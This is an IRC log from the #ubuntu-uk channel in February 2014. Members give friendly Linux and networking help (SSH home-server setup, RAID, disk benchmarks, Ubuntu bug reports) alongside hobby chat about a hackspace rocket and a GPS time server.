<popey> i only had to look up a tutorial a couple of times
<foobarry> only one allows import form a firewire source i think
<foobarry> i think its a k* one
<popey> kino
<popey> i would import with that and then move to kdenlive for edits
<foobarry> oh look , another one...https://code.google.com/p/flowblade/
<foobarry> pitivi looks closer to openshot in ease of use
<popey> ease of use is no good if it crashes on every click
<popey> or can't actually render out your project without crashing
<foobarry> agree
<foobarry> often wonder what setup the devs are using
<foobarry> if they think their s/w doesn't crash
<foobarry> ok. so i received some smut spam. i binned it, but now g+ is suggesting i add "her".
<foobarry> reported as spam instead, wonder if it makes a diff.
<popey> i report people on G+ and they tend to disappear, so I guess once they get a few people doing it, it does
<xalyy> How can I test write speed of DISK?
<popey> disk utility?
<xalyy> Yes
<popey> oh, it's called "Disks" now
<popey> it has a benchmark tool
<xalyy> DD?
<popey> no, "disks"
<xalyy> apt-get install disks ? :D
<popey> its pre-installed on ubuntu
<xalyy> no command found
<popey> xalyy: server or desktop?
<xalyy> server
<popey> ah, disks is a desktop thing
<xalyy> Ohh
<foobarry> hdparm on a server
<foobarry> hdparm -t and -T <devicename>
<brobostigon> morning boys and girls.
<popey> oh, just found the pitivi fundraiser
<xalyy> Can anyone help me about RAID?
<xalyy> Or software raid?
<penguin42> what's up with it?
<xalyy> How can I install it
<xalyy> or use it
<penguin42> just checking, are you trying to use a RAID on a motherboard that has software raid (in which case you want dmraid) or one that doesn't have anything (in which case you want mdraid)
<popey> \o/ btrfs
<popey> xalyy: can you be more specific
<xalyy> Okay
<xalyy> I not really know my dedicated have hardware raid
<xalyy> How can i check?
<daftykins> describe your setup
<daftykins> is it a desktop PC?
<daftykins> from a brand name, or custom built, etc?
<penguin42> actually, if you don't know, probably best to use mdadm (or btr if popey can talk you through it)
<popey> so this is a remote server and you want to know if it has raid support xalyy ?
<popey> xalyy: you could ask the provider?
<xalyy> dedicated server
<xalyy> I said :P
<xalyy> Actaully its a Dell C6100
<daftykins> you're not really going to be able to reconfigure the storage remotely then
<daftykins> unless it has spare unused disks
<xalyy> Why?
<popey> well, you can if you have serial console access
<popey> did you request RAID setup when you had the dedicated server provisioned?
<xalyy> No :S
<popey> so chances are 99.9% that it isnt setup for raid then
<xalyy> Yeah probably
<xalyy> So I have to request the provider to setup hardware raid?
<popey> yes
<xalyy> And what is the best setup for 10-13 VM's?
<xalyy> on the dedicated
<popey> depends what you want to achive
<daftykins> and the # of disks
<xalyy> well wan't to achive to run all vps's without any problem :P
<xalyy> Because I am having problem atm
<xalyy> They are lagging and I think its because the I/O
<popey> what problem?
<daftykins> today's public PC fail comes from Guernsey Airport - https://www.dropbox.com/s/ck1txsb78g9qrs5/IMG_20140222_100516.jpg
<xalyy> Not sure
<popey> what application are they running?
<xalyy> CPU user app
<popey> wut?
<popey> it might be easier for us to help if you're slightly less vague
<popey> MooDoo: you registered ubuntu.technology â½
<MooDoo> popey: yes
<MooDoo> I've already submitted a trademark request to the relavent people
<MooDoo> I'm just waiting for the forms to sign etc
<popey> you know we don't use the multi-colour logo anymore?
<MooDoo> I do now, so I'll change it :D
<MooDoo> thank you
<daftykins> brown, brown and brown?
<calju16> hey all, how's it going?
<daftykins> afty \o
<daftykins> not bad ty, yourself?
<calju16> fair to middlin' cheers. just trying out IRC for the first time, lol!
<popey> â»
<popey> welcome
<calju16> :)
<MooDoo> yay irc
<daftykins> run while you still can!
<calju16> lol. well I've been scrolling through the ubuntu forums for a while now and thought I'd try and figure out how to get on the irc channel. Looks like I made it XD
<DJones> Once you get dragged in, you'll never leave
<MooDoo> calju16: mwahahahahahah you're in trouble now ;)
<calju16> Oh MooDoo? how so?
<MooDoo> calju16: i'm just teasing as DJones once you're been here awhile you'll never leave :)
 * daftykins begins chanting "one of us... one of us..."
<MooDoo> but in all seriousnes, welcome calju16 :)
<calju16> aaaah. cheers!
<daftykins> popey: the sun's out, so Mischief must sun herself! https://www.dropbox.com/s/jytxtn51i5ojtsi/IMG_20140222_122418.jpg
<DJones> calju16: You'll never want to leave, I was trying to think of something to compare it to, and then realised you gave me a clue, as the 1980's tv programme said "Cheers (Where everybody knows your name)"
 * daftykins has a Cheers t-shirt bought from one of the Boston sites
<calju16> So, this is where it all goes wrong then?
<daftykins> yup!
<popey> daftykins: awwwwww
<DJones> yep, but just blame MooDoo
<daftykins> and people come in sometimes to ask for assistance picking up the pieces
<MooDoo> yay me o/
<daftykins> rarely, ever so rarely, they speak English so we can help 8D
<DJones> !cookie | MooDoo
<lubotu3`> MooDoo: Wow! You're such a great helper, you deserve a cookie!
<MooDoo> awww shucks you guys
<daftykins> he's blushing!
<MooDoo> wow my son won't shut up about the lego movie
<daftykins> haha, did you just go today?
<MooDoo> no wife took him a few days ago, he's still going on about it lol
<MooDoo> DJones: is there a cookie score that'll help me get ubuntu membership?  there should be ;)
<DJones> MooDoo: You could apply for membership through the IRC Council for sustained contributions through IRC
<MooDoo> DJones: yes that's one plan :D
<calju16> I'm sorry, ubuntu membership? i thought it was all open source!
<MooDoo> calju16: it is :)
<calju16> then what do you have to be a member for?
<MooDoo> https://wiki.ubuntu.com/Membership have a look at this :)
<MooDoo> calju16: you don't at all, it's just something you can do if you want too :)
<MooDoo> It gives you a few extra things you can do in the ubuntu community
<calju16> aah, right.
<calju16> best saved for people who know what they're doing then?
<MooDoo> voting rights for council nominations, ubuntu cloak, planet ubuntu syndications etc
<DJones> calju16: Its a recognition of a long term contribution to the Ubuntu ecosystem, whether as a developer, helping to support users on the forums, IRC etc, helping with Ubuntu advertising & spreading the word etc
<MooDoo> calju16: not necassarily, a noticable contribution is all you need :D
<MooDoo> calju16: abusing davmor2 and czajkowski helps get you noticed too ;) lol
<daftykins> i prefer to inflict myself upon IRC types as an unknown
<daftykins> but then - LOOK AT THAT CERTIFICATE
<daftykins> ;)
<MooDoo> daftykins: lol
 * popey wanders off to see the Lego Movie with Sam.
<MooDoo> take care popey have fun
<calju16> lol, ok. to be honest, I'm still just trying to figure Ubuntu out! XD
<MooDoo> you're in the right place :D
<daftykins> ah we all are to some extent
<calju16> okies then, in that case. What exactly is SSH? I've heard  that it's something to do with telnet, so presumably it has something to do with remoting onto a device?
<DJones> !ssh
<lubotu3`> SSH is the Secure SHell protocol, see: https://help.ubuntu.com/community/SSH for client usage. PuTTY is an SSH client for Windows; see: http://www.chiark.greenend.org.uk/~sgtatham/putty/ for it's homepage. See also !scp (Secure CoPy) and !sshd (Secure SHell Daemon)
<MooDoo> Simply put it's a way of getting into a linux server via the command line :D
<calju16> right, okies.
<MooDoo> calju16: I'm connected to my linux server via ssh, then i'm running a command line irc client called irssi
<daftykins> i'm on a Windows laptop right now SSH'd into a Linux computer where my IRC client runs
<daftykins> which is also irssi!
<MooDoo> irssi o/
 * daftykins high-fives MooDoo 
<daftykins> \o :D
<DJones> MooDoo: Stop typing what I'm, thinking and typing a lot slower
 * DJones removes the ,
<DJones> +1 for irssi
<calju16> it's just I've been pondering a project for a while and ssh has been proposed as a way to remote onto a home server while I'm away at my student digs.
<daftykins> definitely
<DJones> I'd agree with that
<daftykins> you'll need to do a couple of things for that
<calju16> would remoting to a home server allow me to get round things like download restrictions?
<daftykins> 1) Likely your home IP address on the internet constantly changes, so you will likely want to sign up to a "dynamic DNS" service to give you something to connect to. noip.com is good
<MooDoo> but then again you'd need to decide why you want to ssh into a server when you can just run xchat on your machine?
<daftykins> it would yes
<daftykins> when i was at Uni i remoted home to download things then SCP/FTP'd them to Uni
<MooDoo> ooo cunning
<daftykins> 2) you'll obviously need a computer running a Linux to connect to, with openssh-server installed
<DJones> Heh, that also means the people at home would get the cease & desist notices instead of you
<daftykins> 3) You'll need to forward a port on your router to let you connect in
<daftykins> and finally 4) You'd be best using a non-standard port to prevent naughty thieves trying to break in (the standard port is 22)
<calju16> isn't 4) why you'd set a community name/password though?
<DJones> I'd add a number 5) set a fixed ip on the server at home in case of accidental reboot & change of ip
<daftykins> DJones: but 1 takes care of that :D
<daftykins> community?
<daftykins> can't say i'm familiar with that
<DJones> daftykins: Wouldn't 1 just deal with the external internet ip address, I'm thinking more if the server reboots it may get a different internal ip from the router which the router wouldn't be forwarded to the server
<DJones> s/forwarded/forwarding/
<daftykins> oh sorry i thought you meant external IP
<daftykins> yep static addressing is a must
<calju16> why wouldn't you just set the server to use the last useable as a static IP?
<daftykins> because such things don't really tend to persist across router reboots
<daftykins> when it comes to networking, it tends to be best to force things to be a certain way rather than put them in a configuration you hope will work
<daftykins> i've seen a lot of people ignore my static addressing advice and go with DHCP leases on their routers instead
<DJones> Potentially, a server could have an ip, get disconnected and when it reboots, it may get a differnt ip address or the original ip address could have been taken by somebodies mobile phone/tablet/laptop when it got switched on
<calju16> ah, ok. I thought if you set them to static IPs though, (and in the case of routers, wrote to flash) that they would keep that IP until you set them to dynamic?
<daftykins> and often you don't want to phone up the parents or whomever and try to get them to help diagnose XD
<daftykins> well a router itself will always have a static IP yep, a computer would need to be configured so though
<DJones> I think some routers let you specify a specific MAC address to a specific ip address
<daftykins> *nod*
<daftykins> i've seen that go wrong, heh
<daftykins> calju16: do you have particular use-cases of what you'd run back at home in mind?
<DJones> Everybody learns by experience, you try something, it works for a while, then goes wrong & you go back through things till it works, then comes the magic moment when you suddenly realise that you've just done something first time & it worked straight off
<daftykins> then you become family IT man
<shauno> don't become the family IT man.  the pay is lousy.
<daftykins> *nod*
<jussi> yeah, not only do you get nothing monetary, you have people complaining at you all the time!
<calju16> well, I'd like to have  a media/file server that I could log into and have access to films and the like from any device in my home LAN.
<daftykins> i had a phone call from mother dearest asking how to copy someone's facebook message the other day
<DJones> Plus, 9 times out 10 they use an operating system you don't use
<shauno> heh, exact.  "you know you were messing with the printer last week?  now the microwave doesn't work, and we assume it's related"
<daftykins> <me> select it with the mouse...
<calju16> I'd also want to be able to remotely connect to it from my digs.
<daftykins> calju16: yep that's all pretty straightforward
<daftykins> do you have an old PC you intend to set this up with?
<calju16> yes. yes I do :D
<daftykins> 8D
<daftykins> and can it live somewhere with a wired connection to your home router perhaps?
<MartijnVdS> \o/ run-parts
<jussi> Ive an old ide based NAS, sadly ide drives are slow and dont go very large...
<jussi> (if anyone wants one...)
<MartijnVdS> IDE, as in PATA?
<daftykins> i like to call it PATA too
<daftykins> :D
<jussi> link to pdf "datasheet" http://download.level1.com/level1/datasheet/FNS-1000.pdf
<calju16> It could do. I may need to have a word or two with parent before they'd let me do it, but I couldn't see any real problem with it.
<MartijnVdS> jussi: "Loading..."
<daftykins> calju16: noise and power consumption tend to be the main parental gripes in my experience :D
<shauno> (rPi!)
<daftykins> might be tough to get decent storage on one though?
<calju16> well, I'm going to be giving the case a good clean out and rigging a new fan/power supply to it so there shouldn't be too much noise.
<MartijnVdS> daftykins: pi + hub + 2TB USB disk = Pi with decent storage ;)
<calju16> right, anyway - I need to get some eats. cheers for the advice folks!
<daftykins> would that be painful over samba though? i've heard they struggle a bit
<MartijnVdS> calju16: there are special low-noise power supplies and cases, but they tend to cost a bit more :|
<MartijnVdS> calju16: good luck! :)
<jussi> MartijnVdS: mind, you can add storage via USB to that NAS
<MartijnVdS> daftykins: yes, their CPU isn't super
<MartijnVdS> jussi: USB1, or what ;)
<jussi> MartijnVdS: I guess... :P
<daftykins> 1.1 now, be fair ;)
<jussi> wait
<jussi> its is USB 2!!
<MartijnVdS> If you ever need to run a directory full of scripts, run-parts
<shauno> I think I'm missing something .. I thought you could buy handsets from the 'play' store thing?
<MartijnVdS> shauno: only in some countries
<shauno> ah, okay
<jussi> I wonder when Ill finally learn to set openerp up... it takes me forever. every. single. time.
<jussi> seems iM forgetting something...
<jussi> anyone here now about amazon aws stuff?  iv set the thign up, and can ssh in, but if I ping the server I ge no response... :/
<shauno> I believe that's normal
<shauno> you have to set the security groups for it, the default is to restrict everything
<jussi> shauno: ahhh you are exactly right, thanks. rookie mistake
<shauno> don't tell me that, I've enough of an ego already :)
<jussi> shauno: hehe
<jussi> well, it works now :D
<shauno> okay, android-type-people .. I'm confused.  how's the language support on android?  am I right in reading it still varies by handset?
<jussi> shauno: actually I thought itwas pretty good - at least on the 3 handsets I own, Finnish is present and very well supported
<shauno> a friend's trying to buy a moto-G, but everything we can find for slovak language support is people trying to root it to add languages .. which sounds a bit backasswards?
<jussi> weird...
 * foobarry_ has been doing man things
<foobarry> replacing the locks on the shed
<foobarry> tired now
<foobarry> !ping
<shauno> pongÂ¡
<foobarry> phew. vikings were wrong then
<shauno> just be careful saying that to their faces.  else you'll end up with a geordie accent
<shauno> I got a spinning top in a kinder egg, and it's been the highlight of my day.  gotta love weekend shifts
<foobarry> haven't bought a kinder egg since i found a quid while riding my grifter and bought 4 plus 4 cola bottles
<bigcalm> Good morning peeps :)
<foobarry> ?
<foobarry> lie in?
<MartijnVdS> Would programmers/sysadmins be considered "vi kings"?
<shauno> MartijnVdS: that's terrible
<MartijnVdS> shauno: "emacs kings" doesn't have that ring to it
<shauno> meh.  emacs users aren't sysadmins, they're misplaced pianists.  that's why every command is a chord
<map> hm everyones back at last..stupid splits
<SuperMatt> While I like the new menus, I just press alt+printscreen
<SuperMatt> and it looks aweful
<SuperMatt> because you need the menu blended with the window title
<popey> bugs welcome
<daftykins> pesky freenode
<popey> ya
<SuperMatt> popey: do you know what package I'd raise against?
<SuperMatt> indicator-appmenu?
<popey> unity
<SuperMatt> cheers
<SuperMatt> bug 1283530
<lubotu3> bug 1283530 in unity (Ubuntu) "Using alt-printscreen when locally integrated menus is turned on creates undesirable results" [Undecided,New] https://launchpad.net/bugs/1283530
<popey> shit
<SuperMatt> !language
<lubotu3> Please watch your language and topic to help keep this channel family-friendly, polite, and professional.
<SuperMatt> :P
<popey> opened your bug, clicked the image, then pressed "ALT+F4" to close the window
<SuperMatt> closed the entire browser?
<SuperMatt> had something important in their?
<SuperMatt> tere]
<SuperMatt> there
<SuperMatt> man, my fingers suck
<SuperMatt> not as much as your's though
<SuperMatt> glad to see that software updater now has a restart later button
<ali1234> lol keyboard wizards
<ali1234> indicator-appmenu crashes in xfce btw
<ali1234> i wanted to implement local menus in xfwm but i can't even get global menus to work properly
<SuperMatt> raise the bug :)
<ali1234> also why does it depend on most of unity?
<ali1234> SuperMatt: i don't have time for that, plenty of other bugs in xfce i can work on
<SuperMatt> rightyo
<popey> http://www.planets-cube.com/ hmm
<ali1234> as far as i'm concerned LIM is just another poorly-considered band-aid to try to work around the terrible design of unity
<ali1234> but if people want it in xfwm then i'll try to implement it
<ali1234> so far nobody wanted it
<popey> SuperMatt: having a hard time reproducing that bug
<ali1234> well that's clearly because it is a race condition
<SuperMatt> really?
<SuperMatt> I managed to get it to do it a few times
<ali1234> i notice you are using nvidia
<ali1234> compiz is unbelievably slow on nvidia
<ali1234> none of the developers use nvidia, so this won't be fixed
<ali1234> the slowness probably makes it easier for you to reproduce the bug
 * SuperMatt nods
<SuperMatt> it's not really a show stopper, but I thought I'd raise it so at least it can be mulled over
<calju16> hey all. hows it going?
<MartijnVdS> hey calju16
<popey> yo
<calju16> just a thought, is there any  point in using a switch in a wireless network?
<penguin42> what's the switch connected to?
<MartijnVdS> calju16: Well, switches are wired devices
<calju16> at the minute, it has yet to be bought.
<MartijnVdS> calju16: so it all depends on network architecture -- like penguin42 asks: what is it connected to :)
<penguin42> calju16: Imagine you had a switch, where would you connect it to?
<calju16> the plan is to have it connected to my homehub, switching internal net traffic as I plan on attaching a file/media server to the LAN
<daftykins> if the homehub doesn't have enough sockets for you, then yeah adding a switch would help
<calju16> I'll be honest - I'm still new to networking. Everything we've been taught on has been over a wired network, but my home lan is wireless. Is there any point in using one in a wireless environment? I mean, don't routers do much the same job?
<daftykins> consumer routers are actually switches, wireless access points and modems/transceivers all in one
<daftykins> a switch just provides more *wired* sockets, i'm not sure what you mean by wireless switch
<daftykins> in essence a wireless access point is already a wireless switch as multiple devices can connect and communicate
<penguin42> calju16: A switch just lets you connect multiple wired things together; the only use for one on wireless system is to connect multiple access points
<penguin42> calju16: Or to mix wired/wireless
<popey> or to connect a printer which is wired only
<calju16> ah right. okies.
<calju16> cheers for that folks. as I say - I'm still learning, and have only properly worked with wired nets so far.
<daubers> Evening
<MartijnVdS> \o daubers
 * MartijnVdS listens to http://www.youtube.com/watch?v=_u4Md_aXVJE
 * daubers attempts to use a CAD package to model a rocket nozzel
<MartijnVdS> is it up to the task?
<daubers> I don't know yet :)
<penguin42> MartijnVdS: Only way to find out is to set the rocket off I guess
<penguin42> daubers: What size rocket nozzel?
<daubers> Question is, have I remembered enough maths/physics to do this
<penguin42> or should I say, what size rocket?
<daubers> penguin42: That's the question :)
<MartijnVdS> daubers Von Braun
<daubers> penguin42: I'm building a hybrid using Nitrous and Acrylic, so the rocket size is yet to be decided as it depends on motor performance
<penguin42> daubers: Well, I mean how high are you trying to get with this rocket?
<daubers> penguin42: Orbit of course!
<daubers> penguin42: I might have some how manage to end up in a gentlemans agreement with Manchester Hackspce about getting the first Doge in orbit
<daubers> or something
<daubers> they've gone the balloon route. I prefer explosives
<MartijnVdS> Acrylic? As in the transparent plastic stuff?
<daubers> MartijnVdS: Indeed!
<MartijnVdS> daubers: that's *rocket fuel*?!
<penguin42> daubers: Doge?
<penguin42> daubers: Odd it doesn't sound like those guys to want to go for a safe option :-)
<daubers> MartijnVdS: http://www.youtube.com/watch?v=TLPWqCMb7DE
<MartijnVdS> penguin42: much dangerous! very explosion!
<diddledan__> wow
<MartijnVdS> daubers: hey, I'm subscribed to that channel :)
<daubers> MartijnVdS: :)
<MartijnVdS> daubers: he does weird things
<ali1234> i bet that doesn't smell nice
<daubers> I'm trying to find a valve to allow gas through one way, but not allow fire back the other way
<penguin42> daubers: Where do you intend to run this thing?
<daubers> penguin42: Reading Hackspace
<penguin42> daubers: Oh that's south; if you were doing that up here I'd come and laugh, watch
<ali1234> i want to see that thing run until it burns all the way through
<penguin42> ali1234: Yeh I'm assume that pops with a bang
<ali1234> i'm pretty sure that would result in a huge fireball with molten acrylic sticking to everything
<penguin42> yes, might be best to laugh from a distance
<MooDoo> evening all
<daftykins> heya
<diddledan__> don't forget to get clearance from the ATC for the airspace you plan on utilising if you're planning on getting to space
<daubers> diddledan__: Yup, we've got NOTAMs for laser shows before
<diddledan__> :-)
<daubers> diddledan__: There'll be static firings first to calibrate the nozzle and figure out thrust curves
<diddledan__> proper thought out stuff then? :-p
<diddledan__> I was figuring big flame = gogo juice
<diddledan__> gogo juice = space in no-time
<penguin42> daubers: On that thing how do you get the oxygen to the rocket?
<daubers> diddledan__: Nah, trying to do all the math properly
<penguin42> it doesn't look the lightest of constructions even without an oxygen tank hanging off it
<daubers> penguin42: Tank onboard, using Nitrous instead of O2 as it's a bit easier to handle
<daubers> You use a smaller tank onboard
<penguin42> what else do you plan on putting on it?
<MartijnVdS> HUMANS
<MartijnVdS> *cough*
 * penguin42 doubt there are many of those in reading
<diddledan__> put a bitcoin miner and make it able to compute the highest altitude bitcoin evar
<daubers> penguin42: Altimeters and stuff, HD camera :)
<penguin42> nod
<MartijnVdS> penguin42: but.. Martians landed in *Woking*, not Reading
<penguin42> they did?
<daftykins> daubers: soft toy in the video shot i hope! ;)
<MartijnVdS> penguin42: http://en.wikipedia.org/wiki/The_War_of_the_Worlds
<diddledan__> hmm, choice of soft toy could be a contentious issue
<daubers> I do have a fluffy haggis?
<daubers> Though for reading I suppose I should use a lion of some kind
<penguin42> daubers: http://www.giantmicrobes.com/uk/products/martianlife.html
<MartijnVdS> daubers: kept it outside the fridge for too long?
<daubers> :p
<MartijnVdS> daubers: do you also follow this guy? http://www.youtube.com/watch?v=WECW88rJYrE
<ali1234> ummmmm... i just opened system settings in trusty and i got a weird window that looks like something from the phone
<ali1234> imagebin.org/295086
<ali1234> what is going on?
<ali1234> SuperMatt: i can't reproduce your bug... when i press alt+printscreen it takes a screenshot of the hud
<daftykins> lol
<daftykins> about this phone!
<penguin42> try making a call....
<ali1234> ah i see, you have to hold alt to prevent the hud opening
<ali1234> then it takes the screenshot when you release alt
<ali1234> so there's a race condition between the menu disappearing and the screenshot happening
<penguin42> can't you specify a delay on the screenshot?
<ali1234> not with alt-printscreen, it immediately screenshots the active window
<ali1234> well, i say immediately, there seems to be a short delay but it is not configurable
<ali1234> it could be just how long it takes to load up the program
<penguin42> ali1234: Hmm that's inconvenient - the KDE screenshot does that by default but then once it brings up it's dialog lets you capture again with a delay
<ali1234> well, that's KDE for you
<daftykins> what, working? surely not
<ali1234> nah, KDE just makes you do the screenshot twice. once wrong, and then again right
<penguin42> ali1234: OK, if you haven't got a GUI to do it,  sleep 5; convert X:root foo.jpg
<ali1234> i am surprised that actually works on a composited desktop
<penguin42> it normally does
<penguin42> varies on graphics cards etc though
<ali1234> ok, so i've got a question
<ali1234> an X11 window cannot ever be outside of it's parent, correct?
 * penguin42 doesn't think so but I might be wrong
<ali1234> and the only way to make a window that doesn't draw anything is InputOnly?
 * penguin42 doesn't know about that 
<ali1234> but if a InputOutput window has an InputOnly as parent, it will never get drawn
<penguin42> I mean there were the windows defined by masks - eg. the way you can do round ones
<ali1234> right but if you mask out the window with XShape then it can't receive input either, so it effectively doesn't exist at all
<ali1234> so my question is, InputOnly windows are only useful inside a single client?
<ali1234> or if the client doesn't want to draw anything at all
 * penguin42 hasn't done any serious X programming in probably 15-20 years so can't really say
<ali1234> hmmmm
<ali1234> well, know anything about wayland?
<ali1234> like how does it mitigate these issues?
<ali1234> i have a feeling the answer is "lol, not our problem"
 * penguin42 doesn't - but I don't really understand your problem that you're trying to solve
<ali1234> the problem is 1 pixel window borders
<ali1234> specifically making them bigger without changing the appearance
<ali1234> i am now 99% certain this is impossible without compositing
<penguin42> nope, don't understand the problem
<ali1234> you know when you have a theme with 1px window borders, and you're trying to grab the edge but it's really hard because you have to hit a 1px wide area?
<penguin42> yeh
<ali1234> so you make the window manager create a bigger fake area where you can grab - this area needs to be transparent
<penguin42> oh you mean you want a false area you can grab
<ali1234> yes
<ali1234> this isn't possible though
<ali1234> the extra area can never be transparent
 * penguin42 hadn't realised anything made a false area - I'm just used to things having a wider border
<ali1234> if you make it a InputOnly window then it has to be inside the parent, and the parent has to be InputOutput, which means it will always be drawn
<ali1234> if you just specify nothing to be drawn there, you get corrupted garbage
<penguin42> well yes, it would have to be if it was drawn
#ubuntu-uk 2014-02-23
<daftykins> nn all \o
<penguin42> http://anandtech.com/show/7739/arm-cortex-a17 has a couple of fun ARM slides on
<penguin42> 1B smartphones shipped in 2013
<ali1234> who was complaining that nvidia settings monitor layout gets forgotten after reboot?
<ali1234> i just hit this bug
<ali1234> it's a bug in unity-greeter
<ali1234> it does not affect any of the other lightdm-greeters
<ali1234> https://bugs.launchpad.net/ubuntu/+source/unity-greeter/+bug/1283615
<lubotu3> Launchpad bug 1283615 in unity-greeter (Ubuntu) "unity-greeter ignores user monitor configuration" [Undecided,New]
<maps|wrk> hello
<map> hm
<shauno> mornin map
<map> morning mate
<brobostigon> morning boys and girls.
<map> afternoon
<penguin42> it is
<diddledan> speaking of which, morning :-)
<shauno> o/
<diddledan> anyone heard of pipelight? it's a new one on me - looks similar to the proprietary crossover linux feature which allows windows plugins via wine to run on linux-based browsers
<diddledan> found here: https://launchpad.net/pipelight
<shauno> sounds terrifying
<penguin42> diddledan: Yeh sounds similar - I know 2 or 3 people who've implemented something like that
<diddledan> there's a blog post about it here: http://fds-team.de/cms/articles/2013-08/pipelight-using-silverlight-in-linux-browsers.html
<diddledan> I don't like that they've patched the wine source but don't state that they've upstreamed their changes so I'm assuming they haven't
<penguin42> diddledan: Well if they've got the source there then perhaps they're just figuring it out first
<popey> yes, i have tried pipelight here
<popey> was a bit picky about browser agents when I tried
<diddledan> yeah they've got an FAQ about useragents
<MamPowerM> nice
<MamPowerM> to b here
<jussi> diddledan: I use it regularly for silverlight. its fantastic to have that, prior, there was no workaround.
<diddledan> jussi: yeah, I'm thinking it may finally be a way of getting netflix working
<diddledan> I wonder if anyone's working on getting xbmc to cooperate for a way to get netflix into the tv with a beige-box
<jussi> diddledan: I think they have it already, have a google
 * SuperEngineer has finished (semi-)buiding new pooter & is on it now!
<SuperEngineer> but has a question re installing onto a new disk
<penguin42> ask it
<SuperEngineer> ...I have created a primary partion for root, extendeds for home & swap but not sure if the stuff from home on old disk should go under a folder [if it comes for home/xxx do I copy to a folder xxx in home partition or copy direct to "top" of home partiton
<SuperEngineer> & hi penguin42
<penguin42> SuperEngineer: That's mostly up to you; if you copy the Pictures/Documents/Downloads directories into your new /home/super then they'll just work like before, i.e. a photo program will show them, if you copy them into /home/super/fromoldmachine  then you'll need to navigate into it
<map> ;
<penguin42> SuperEngineer: With the . directories it also depends, for example I tend to copy the .mozilla to keep the hitory and stuff, but you might want to start all your other configs fresh
<penguin42> map: !
<map> ]hello
<SuperEngineer> it's mainly the .stuff I'm thinking of.  If a install IU tell installer the home partion is home will it create other stuff in a username folder & ignore the stuff I copied direct from "my" home into the partiotion?
<SuperEngineer> .mozilla & .local/steam in particular
<penguin42> SuperEngineer: You can always copy those in afterwards
<Wobbo> I use 13.10 64 bit. Wine crashes. I only get a few seconds the see the configuration. I have tried several Wine versions. Any tips?
<diddledan> I love partions
<diddledan> partions of chips are awesome
<diddledan> :-p
<diddledan> </troll>
<penguin42> diddledan: Portions
<SuperEngineer> penguin42: methinks you have hit the nail on the head - copy in after!  DOH!!!
<SuperEngineer> thanks penguin42
<diddledan> penguin42: not according to SuperEngineer :-p
<SuperEngineer> diddledan: que???
<diddledan> <SuperEngineer>	 ...I have created a primary partion for root
<SuperEngineer> yup
<diddledan> I like mocking typos
<SuperEngineer> so....
<diddledan> it makes me feel superiour
<SuperEngineer> i meant to put portion!!
<SuperEngineer> was eating wjen I created it :)
<diddledan> nope, you meant to put partition
<SuperEngineer> was eating wjen I created it :)
<diddledan> lol
<diddledan> yeah, so I usually feel inadequate and poking holes in things others say and do gives me a sense that I'm better than them and alleviates my self-hatred for a moment ;-)
<diddledan> either that or I'm just an asshat
<diddledan> I'm not sure which TBH
<diddledan> I either have an inferiority complex or I really am inferior.
<diddledan> just because you're paranoid doesn't mean they aren't out to get you!
<MartijnVdS> and just because you're not paranoid, doesn't mean they are out to get you!
<diddledan> really, with the NSA about, I think it pays to be paranoid
<diddledan> in other news, why is my netboot moaning about squashfs being wonky?!
<MartijnVdS> did you make your own squashfs?
<diddledan> nope
<diddledan> straight off the DVD
<MartijnVdS> packet loss
<diddledan> it seems to always be the same block though
<penguin42> what are you serving it from?
<MartijnVdS> misburn?
<diddledan> penguin42: freenas+zfs
<penguin42> diddledan: I'd try fetching the squashfs and see if it md5's the same as the dvd
<diddledan> I'm thinking the deduplication of zfs is borking it up
<diddledan> I was trying to avoid having to redownload the iso and burn another disc
<diddledan> I swear the faeries steal my ubuntu cd/dvds and hide them from me
<SuperEngineer> diddledan: been checking your last few posts - damn, no errors!!!
<SuperEngineer> [hate it when the rest of the world can keyboard more accuratey than I can] ;)
<diddledan> SuperEngineer: I should really be more forgiving. Especially as I'm not as perfect as I think I am
<SuperEngineer> hmmm... in my case - my modesty is only surpassed by my honestly
 * SuperEngineer notices his nose just grew longer!
<SuperEngineer> [opened the doorway for a correction there....
<SuperEngineer> darn -just closed nvidia by mistake - now stuck in expo mode - time for a restart - silly me
<diddledan> don't you hate when companies insist on you registering your details with them to view a document that is supposedly impartial informational material
<diddledan> the latest one to get my goat is vmware's "true cost of free"
<penguin42> oh that's so that they can then nag you to hell later
<diddledan> yeah, hence my dislike for it :-p
<diddledan> I'm sure I'd get riled if I actually read the document anyway so I guess it's an advantage that I refuse to give them my details
<diddledan> MartijnVdS: my gps unit arrived
<diddledan> MartijnVdS: just need to work out how to connect it to the pi
 * penguin42 can't help wonder if you tracked the GPS unit as it was being shipped
<map> diddledan,  what is it youre trying to make
<diddledan> map: an accurate ntp server
<map> aha why?:D
<shauno> why not?
<ali1234> why using GPS for that? why not MSF?
<penguin42> GPS is a fairly common way
<penguin42> ali1234: A lot of the GPS units output a time stream/sync pulse
<ali1234> GPS time is really rubbish though
<ali1234> i have a clock that does it, it's always wrong by at least half an hour
<penguin42> you have a broken clock that is failing to do it
<ali1234> then why does it always adjust itself to the wrong time when the power goes off?
<diddledan> the real question is where's my spare pi?!
<penguin42> ali1234: Because it's broken
<shauno> how ate all the pi?  you really have to ask?
<shauno> (gsp is liable to be much better documented too)
<penguin42> don't know, MSF has been going for decades, lots of stuff on how to do it
<shauno> I apparently can't type today
<shauno> transpositions all 'round
<penguin42> you just did
<shauno> this seems interesting; http://www.maths.tcd.ie/~dwmalone/time/rugby.html
<shauno> he's added a skew because it's slow relative to gps?
<ali1234> how to even tell which one is wrong?
<shauno> I guess that's what I found interesting
<shauno> not so much which is wrong, but which is perceived to be canonical
<ali1234> yeah
<ali1234> in the end you have to just pick one
<diddledan> split your difference?
<diddledan> (painful)
<penguin42> shauno: Is that something to do with latency through the receivers he's using or time of flight from rugby?
<diddledan> gps should be more accurate than rugby because you can use multiple points to correlate a canonical time based on each satellite's time and time-of-flight calculations
<ali1234> could be linux buffering the tty
<penguin42> yeh
<penguin42> I'd expect a good GPS unit to specify/subtaract the latency through itself
<shauno> thinking about it, that would be a downside of rugby; it has no idea how far you are from cumbria, so it can't possibly adjust
<diddledan> shauno: exactly
<shauno> not that it's a particularly significant distance.  the earth is 0.05? light-seconds wide
<diddledan> shauno: multipoint-to-point is better than point-to-point
<shauno> (altough from living in cumbria myself, I do believe there are spatial anomalies that result in some parts of the county still being in the mid-80s)
<diddledan> hmm, can't find that pi anyplace
<diddledan> wonder wtf I did with it?!
<diddledan> I'll have to use one of my other ones (not that it's doing anything right now, either)
<diddledan> who was messing with the build farm for raspibuntu?
<shauno> alan
<popey> http://fundraiser.pitivi.org/
<diddledan> I haven't been contacted for my name-a-pi yet is all - just wondering how things are progressing
